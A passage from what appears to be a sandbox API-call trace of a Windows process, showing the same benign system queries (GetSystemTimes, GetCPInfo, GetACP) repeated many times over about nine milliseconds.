out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.331] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.331] GetACP () returned 0x4e4 [0052.331] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.332] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.332] GetACP () returned 0x4e4 [0052.332] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.333] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.333] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.333] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.334] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.334] GetACP () returned 0x4e4 [0052.334] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.335] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.335] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.335] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.336] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.336] GetACP () returned 0x4e4 [0052.336] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.337] GetACP () returned 0x4e4 [0052.337] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.337] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.338] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.338] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: 